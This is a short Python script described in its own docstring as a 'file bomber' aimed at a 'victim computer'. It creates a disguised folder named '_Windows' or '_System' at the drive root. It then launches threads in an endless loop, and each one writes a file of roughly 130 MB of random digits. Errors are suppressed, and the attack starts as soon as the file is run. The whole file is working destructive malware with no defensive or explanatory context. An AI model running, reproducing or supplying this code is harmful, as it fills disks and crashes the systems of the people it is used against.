import os, threading, random, sys
class FileBomb:
    """This script is a file bomber. It will create a directory in an obscure area
    on the victim computer, and make a large amount of useless files that take up
    a lot of space."""
    def __init__(self):
        if sys.platform == "win32":
            self.filedir = "C:/"
            self.new_dir = "_Windows"
        else:
            self.filedir = "/"
            self.new_dir = "_System"
        os.chdir(self.filedir)
        if self.new_dir not in os.listdir():
            os.mkdir(self.new_dir)
        os.chdir(self.new_dir)
    def Bomb(self):
        while True:
            file_creation = threading.Thread(target=self.create_file).start()
    def create_file(self):
        try:
            filename = str(random.randint(1,100000000000000000000000000000000000000))
            file = open(filename,"w")
            file.write(str(random.randint(1000000000000,9999999999999))*10000000)
            file.close()
        except Exception as e:
            pass
filebomber = FileBomb()
filebomber.Bomb()
